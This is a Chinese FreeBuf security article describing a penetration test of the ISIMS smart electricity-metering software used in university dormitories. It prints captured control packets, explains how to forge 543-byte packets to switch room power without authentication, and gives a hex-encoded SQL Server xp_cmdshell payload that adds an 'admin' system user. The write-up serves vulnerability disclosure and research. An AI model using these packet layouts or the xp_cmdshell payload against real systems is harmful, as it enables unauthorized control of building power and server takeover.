*本文原创作者:volcanohatred,本文属于FreeBuf原创奖励计划,未经许可禁止转载
黑入电控系统然后操纵大楼灯光打游戏是很多黑客电影所有的桥段,有人觉得现实中不可能实现。我想说这种东西实现起来很容易,要想操纵电力,无非是操纵智能电控系统然后控制电力而已(当然不排除其他方法)。很多人可能会问,现实生活中不是都是机械开关么?哪来的智能电控系统,其实不然,智能电控早已普遍存在,只是很多人不知道而已。
1.智能电控系统
智能电控系统即对强电加入智能弱电控制模块,从而达到对电力的控制和操作。近年来,很多大型企业、学校单位为了方便对电力的管理和收费,都引进了对楼宇的智能电控系统。而且随着网络化和智能化的发展和普及,对智能电控系统的布控在国内也成增长趋势。国内做智能电控系统的厂家很多,比如新开普的电控水电表管理系统,常工电子的ISIMS智能计量管理系统等。但是,智能电子产品的应用越普及,意味着对安全的需求也越高,作为一个安全从业者,有必要对其产品的安全进行严格把控。
2.对ISIMS智能计量管理软件的分析
在一次渗透测试中(正规测试,嘿嘿),拿到了某大学的电力控制服务器权限(智能电控系统其实在公寓和大学里面应用的很普遍),所以本文就以这台服务器上的ISIMS智能计量管理软件为研究对象,进行分析。ISIMS智能计量管理软件是常州股份公司开发的产品,因为它的方便性和智能性,使得国内很多大学都在用它来进行学生宿舍的计费和控制。ISIMS智能计量管理软件属于注册商用软件,所以网上是没有下载的。闲的无聊去公司官网看了看,发现应用案例还挺多。话不多说,开始分析吧!!!
注:此研究软件的版本
客户端 Sims v3.23.15
服务端 Simserv v3.24.01
2.1 工作模式
ISIMS的工作模式如下图:
client(tcp client)—>server(tcp server)—>中位机(tcp client)
2.2 传输数据分析
用WPE对客户端的数据进行抓包分析。
A用户登陆数据包:电力控制数据包:A用户注销数据包: 开关成功返回数据:经过对数据包进行大致分析,发现传送的数据均没有进行加密处理,而且发现客户端发送的数据并无时效性,这样伪造数据包显得轻而易举。另外,对电力的控制数据包大小固定,为543字节,如果控制命令成功执行,则返回一个29字节的数据包,否则返回一个21字节大小的数据包。但是要想伪造数据包对某个特定房间进行开关电,则需要对电力控制的那个大小为543字节的数据包进行解析才能随意构造。A用户对某个房间开数据,发往服务器:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00 00 00 00 00 69 0E 38 02 CD AB BA DC 00 00 00 00 00 00 00 00 69 0E 38 02 AC F9 18 00 C8 F9 18 00 30 02 17 76 B8 6B 44 06 14 FA 18 00 91 6D 10 76 51 6D 10 76 75 DE 87 6E 00 00 00 00 4A 03 03 00 B8 6B 44 06 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 FF FF FF FF FF FF FF FF E9 6C 10 76 91 6D 10 76 0C FA 18 00 01 00 00 00 00 00 00 00 7C 5E 43 06 B8 F9 18 00 60 FA 18 00 60 FA 18 00 1E A6 16 76 39 49 8F 18 FE FF FF FF 51 6D 10 76 E8 6D 10 76 00 00 00 00 69 0E 38 02 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 48 22 F2 00 F3 6D 10 76 11 DE 87 6E 99 01 00 00 00 00 00 00 B8 6B 44 06 04 00 00 00 B8 C7 4B 00 7C 5E 43 06 3C FA 18 00 B8 6B 44 06 BC FA 18 00 1E A6 16 76 99 49 8F 18 FE FF FF FF F3 6D 10 76 44 6E 10 76 20 22 F2 00 DA F8 2C 77 57 6E 10 76 94 FA 18 00 18 00 00 00 00 00 00 00 20 22 F2 00 7C 5E 43 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 FB 18 00 1A 01 2C 77 C4 FA 18 00 00 00 00 00 9C FB 18 00 80 00 2C 77 20 22 F2 00 00 00 00 00 99 01 00 00 03 00 00 00 00 00 00 00 69 0E 38 02 D2 25 2E 77 04 00 00 00 B9 72 10 76 61 21 11 76 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 00 00 00 00 B1 02 00 00 01 00 00 00 00 00 00 00 99 01 00 00 B8 6B 44 06 00 00 00 00 AC FD 18 00 4A 03 03 00 00 00 00 00 48 FB 18 00 7A 61 11 76 20 22 F2 00 00 00 00 00 69 0E 38 02 03 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 BC FB 18 00 8F 85 47 00 4A 03 03 00 99 01 00 00 03 00 00 00 F7 3C 40 00 03 00 00 00 7C 5E 43 06 B8 62 51 00 B8 6B 44 06 03 00 00 00 03 00 00 00 B8 6B 44 00
看着挺没头绪,去服务器看看。
服务器发往中位机的数据:(对服务端进行抓包)
7D 33 04 10 37 33 02 F3 00 AB EA 7F
2.3 逆向分析
ISIMS客户端由3个 动态链接库文件、1个配置文件和1个可执行文件组成。分别是CtoS.dll,midas.dll,Mwic_32.dll,SimsClient.ini,SIMS.exe。SimsClient.ini里面是一些服务器ip,端口的信息,所以目的是对3个 动态链接库文件和可执行文件进行逆向分析。SIMS.exe无壳,由Delphi编写。
Send函数位于CtoS.dll中,下条件断点使之发送的数据大小为21F(543)时断下:
在返回点下断找调用函数,以此往上找原数据组成:
通过对数据的拆分,发现543字节大小的数据由3部分组成,前23字节的数据加16字节数据再加后面的数据。
2.4 分析总结
发往服务器的543字节的数据中,前39字节为关键数据,后面的数据为无用数据,在前39个字节中后面的9位最为关键:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00
33为分隔字符,04位代表楼层编号,10代表中位机号,37为端口号,02 F3 为开电功能位。即:管理器地址+中位机地址+48加端口号》》》》转化成16进制。汇编代码如下:
客户端启动之后会向服务器发送数据库查询指令,服务器会返回各栋楼各个中位机和房间端口的数据,放在某段内存之中,以便发送和接收数据调用。所以,得出结论,要想操纵大楼灯光打游戏就是对控制数据包的前39个字节中的后9位进行构造,然后编写算法以达到目的。
3.伪造数据包对寝室电力进行控制
3.1 伪造数据开关目标房间
初步的设计思路为编写tcp客户端向电控服务器发送登陆请求,然后伪造数据发包,最后注销用户,C代码如下:
上面代码中禁用nagel算法很关键,不禁用数据会先放到缓冲区,然后等到一定大小才会发送,这样发送到服务器的数据包会是一个粘在一起的包含登陆控制注销代码的数据包,服务器不会识别。
测试:发现目标房间开关电成功。
(视频没法传,本来想传gif,结果不行,所以截了几张图。)
3.2 操纵大楼灯光打游戏的可行性
既然我们已经分析了关键数据实现了对某个房间的开关,那就可以实现对整栋楼房间的开关。但是要想用灯光打游戏,需要考虑的是延迟性和服务器的处理能力,后来我做了相关测试,发现延迟性太高和服务器处理能力不足的问题都有出现:同时发送三个房间的开数据会出现一个房间未能开电。
这里提供一个思路:可以改变代码的执行路径,改变ISIMS的工作模式:
直接写一个服务器程序向中位机发包(需要在中位机web服务上添加本机ip,设置端口然后向中位机发送构造的数据包),问题得到解决。原理和上面相同。现在要考虑的就只有游戏代码和与房间数据包交互的问题了。(本文在此不考虑)
4.漏洞挖掘
测试发现客户端在未发送登陆数据的情况下,发送控制代码依然可以控制目标房间的电力,也就是说只要建立3次握手连接就可以发送控制代码。而在未发送登陆数据的情况下发送注销代码在服务器日志上会被记录为sa用户已退出,初步推断此系统存在逻辑错误:发送的数据在未验证身份的情况下默认以sa权限执行。
在之前的OD中看到有数据库执行命令,在客户端中,当用户点击查询指令时,客户端会向服务器发送这段数据库查询语句:
在之前的渗透测试中,发现服务器使用的是SQLserver数据库,既然服务器对发送的数据验证不严格,可以试着构造恶意数据库命令添加系统用户试试。再次对发送的数据测试分析发现,在执行数据库命令时,数据包前18位不发生改变:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00
第18、19位用来表示后面要执行的sql语句的字段大小,现在构造一条添加系统用户的语句:
exec master..xp_cmdshell 'net user admin admin /add'
转化位16进制:
0x65,0x78,0x65,0x63,0x20,0x6d,0x61,0x73,0x74,0x65,0x72,0x2e,0x2e,0x78,0x70,0x5f,0x63,0x6d,0x64,0x73,0x68,0x65,0x6c,0x6c,0x20,0x27,0x6e,0x65,0x74,0x20,0x75,0x73,0x65,0x72,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x2f,0x61,0x64,0x64,0x27,0x00(总共53位)
再加上前面的20位前缀:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0X35
将构造的数据通过tcp客户端发送给服务器:
服务器成功添加新用户!
5.扩展测试
上面做了对电力系统的测试,后来我对门禁系统也同样进行了测试,也发现了同样的问题,对数据包的验证同样无时效性,下图为向某个下属刷卡门进行测试:返回1,代表开门成功,门禁系统这里不做讨论。
可以看出在内网之中各种基础设施和系统的脆弱性!!!原因是企业单位往往只是满足于系统的功能性,只要能用就ok,而全然不顾系统的安全性,往往部署完系统,只要能够正常运行,就不再对系统进行升级或者安全检查,这给整个内网早成了很大的安全隐患。
6.后续
这篇文章写的很早,一直没发过,最近发出来给大家看看,当然本文涉及的技术很肤浅,大佬勿喷,第一次发文章,错误难免,大家见谅!!
*本文原创作者:volcanohatred,本文属于FreeBuf原创奖励计划,未经许可禁止转载
来源:freebuf.com 2018-11-08 15:10:23 by: volcanohatred
请登录后发表评论
注册